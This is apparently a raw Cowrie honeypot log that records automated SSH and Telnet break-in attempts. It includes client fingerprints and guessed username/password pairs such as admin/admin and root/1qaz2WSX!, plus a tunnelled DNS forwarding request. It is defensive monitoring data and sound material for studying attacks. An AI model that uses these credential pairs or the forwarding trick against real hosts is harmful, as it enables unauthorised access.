{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:02:27.656914Z","src_ip":"87.251.64.176","session":"9e510db7b49b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:02:27.742956Z","src_ip":"87.251.64.176","session":"9e510db7b49b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:02:28.355460Z","src_ip":"87.251.64.176","session":"9e510db7b49b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:02:28.459660Z","session":"9e510db7b49b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:02:28.581373Z","src_ip":"87.251.64.176","session":"9e510db7b49b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:02:28.718557Z","src_ip":"87.251.64.176","session":"9e510db7b49b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.191.31","src_port":42456,"dst_ip":"10.17.0.5","dst_port":22,"session":"09d234e2a821","protocol":"ssh","message":"New connection: 170.106.191.31:42456 (10.17.0.5:22) [session: 09d234e2a821]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:02:39.014768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:02:39.019927Z","src_ip":"170.106.191.31","session":"09d234e2a821","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:02:39.088464Z","src_ip":"170.106.191.31","session":"09d234e2a821","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"liza","message":"login attempt [root/liza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:02:39.394003Z","src_ip":"170.106.191.31","session":"09d234e2a821","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:02:40.464945Z","src_ip":"170.106.191.31","session":"09d234e2a821","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49424,"dst_ip":"10.17.0.5","dst_port":23,"session":"f941ce82e314","protocol":"telnet","message":"New connection: 152.42.224.71:49424 (10.17.0.5:23) [session: f941ce82e314]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:03:34.848416Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.56.3","src_port":54260,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6433e71b8a9","protocol":"ssh","message":"New connection: 103.115.56.3:54260 (10.17.0.5:22) [session: c6433e71b8a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:03:35.615353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:03:35.620292Z","src_ip":"103.115.56.3","session":"c6433e71b8a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:03:35.829019Z","src_ip":"103.115.56.3","session":"c6433e71b8a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Scorpion2017","message":"login attempt [root/Scorpion2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:03:36.468858Z","src_ip":"103.115.56.3","session":"c6433e71b8a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:03:37.686019Z","src_ip":"103.115.56.3","session":"c6433e71b8a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.213","src_port":33407,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e13381fe251","protocol":"ssh","message":"New connection: 102.88.137.213:33407 (10.17.0.5:22) [session: 0e13381fe251]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:03:48.020995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:03:48.025193Z","src_ip":"102.88.137.213","session":"0e13381fe251","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:03:48.208193Z","src_ip":"102.88.137.213","session":"0e13381fe251","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2WSX!","message":"login attempt [root/1qaz2WSX!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:03:48.954589Z","src_ip":"102.88.137.213","session":"0e13381fe251","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:03:50.137020Z","src_ip":"102.88.137.213","session":"0e13381fe251","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.191.31","src_port":38174,"dst_ip":"10.17.0.5","dst_port":22,"session":"de116097f8f1","protocol":"ssh","message":"New connection: 170.106.191.31:38174 (10.17.0.5:22) [session: de116097f8f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:03:54.056297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:03:54.061485Z","src_ip":"170.106.191.31","session":"de116097f8f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:03:54.131525Z","src_ip":"170.106.191.31","session":"de116097f8f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lukas123","message":"login attempt [root/lukas123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:03:54.435451Z","src_ip":"170.106.191.31","session":"de116097f8f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:03:55.508373Z","src_ip":"170.106.191.31","session":"de116097f8f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":50778,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5906b15172a","protocol":"ssh","message":"New connection: 80.94.92.184:50778 (10.17.0.5:22) [session: b5906b15172a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:04:04.514540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:04:04.570743Z","src_ip":"80.94.92.184","session":"b5906b15172a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:04:04.735964Z","src_ip":"80.94.92.184","session":"b5906b15172a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"solv","message":"login attempt [ubuntu/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:04:05.705742Z","src_ip":"80.94.92.184","session":"b5906b15172a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:04:07.016423Z","src_ip":"80.94.92.184","session":"b5906b15172a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.208.184.128","src_port":40568,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0741d46c3a6","protocol":"ssh","message":"New connection: 91.208.184.128:40568 (10.17.0.5:22) [session: f0741d46c3a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:04:15.858789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:04:15.864381Z","src_ip":"91.208.184.128","session":"f0741d46c3a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:04:16.018842Z","src_ip":"91.208.184.128","session":"f0741d46c3a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.35323762893677,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:04:16.201525Z","src_ip":"152.42.224.71","session":"f941ce82e314","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"42:40:d4:1f:bc:89:cd:6a:e8:b1:8e:0a:fc:64:a5:ee","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAIfniM2atlX1pzkfccS86URSfAX18dVtAgvkd6umqKqWrVzLWrWcQ8VuIDMCDiKNug518NwpkQijojbIHuft5MOvfBULJviaaSYYvwR+mBuYYjwCBPAdXWvvr+apLVoAb/qw5ggUCzdrDoLrOLfnfEnau8ZGU8U6alMvecEQPOT9AAAAFQCi3PCtEzbUly8N3T8q+sUsuoL9YwAAAIBtbwa82oCqvz0wbqTIQ4u00greV06NIFUPzR1kmNElkMtZ9FCD5K0P75MXrjTL0lrSs9UMTP8ezSflteQlBeQctb4sDS4ey9d9kLs2G1B1i6/f9pO9bn5ZU3wpJU8nn8Ec95Hni+3WQURv717SukMksYBhV5pkwAImaPqJyuqBQgAAAIAKU1k1yCKCqrA8K5uIz0BeNS+tPh16SXuUjto95LOpOV20hpQvsg8yAABKSVBJp9CsF18QPuhbuV5Jk42M4crRgr1r2EDd1V32M98GFCryyzdIheOCeutp9YTPZuSiGszdJlt/xy+AbfWRVPtA41+ivKTqTj5vOxfpFu8RmodnOw==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 42:40:d4:1f:bc:89:cd:6a:e8:b1:8e:0a:fc:64:a5:ee","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:04:16.715445Z","src_ip":"91.208.184.128","session":"f0741d46c3a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"42:40:d4:1f:bc:89:cd:6a:e8:b1:8e:0a:fc:64:a5:ee","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAIfniM2atlX1pzkfccS86URSfAX18dVtAgvkd6umqKqWrVzLWrWcQ8VuIDMCDiKNug518NwpkQijojbIHuft5MOvfBULJviaaSYYvwR+mBuYYjwCBPAdXWvvr+apLVoAb/qw5ggUCzdrDoLrOLfnfEnau8ZGU8U6alMvecEQPOT9AAAAFQCi3PCtEzbUly8N3T8q+sUsuoL9YwAAAIBtbwa82oCqvz0wbqTIQ4u00greV06NIFUPzR1kmNElkMtZ9FCD5K0P75MXrjTL0lrSs9UMTP8ezSflteQlBeQctb4sDS4ey9d9kLs2G1B1i6/f9pO9bn5ZU3wpJU8nn8Ec95Hni+3WQURv717SukMksYBhV5pkwAImaPqJyuqBQgAAAIAKU1k1yCKCqrA8K5uIz0BeNS+tPh16SXuUjto95LOpOV20hpQvsg8yAABKSVBJp9CsF18QPuhbuV5Jk42M4crRgr1r2EDd1V32M98GFCryyzdIheOCeutp9YTPZuSiGszdJlt/xy+AbfWRVPtA41+ivKTqTj5vOxfpFu8RmodnOw==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:04:16.719451Z","src_ip":"91.208.184.128","session":"f0741d46c3a6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4f:b2:99:9c:7e:94:2f:21:fc:9b:1e:b3:ec:47:75:d3","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAilwBkAMj2zQ8mIUW48Tom0Y6/UGLkBusIkkcexAD4K","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 4f:b2:99:9c:7e:94:2f:21:fc:9b:1e:b3:ec:47:75:d3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:04:16.863914Z","src_ip":"91.208.184.128","session":"f0741d46c3a6","protocol":"ssh"}
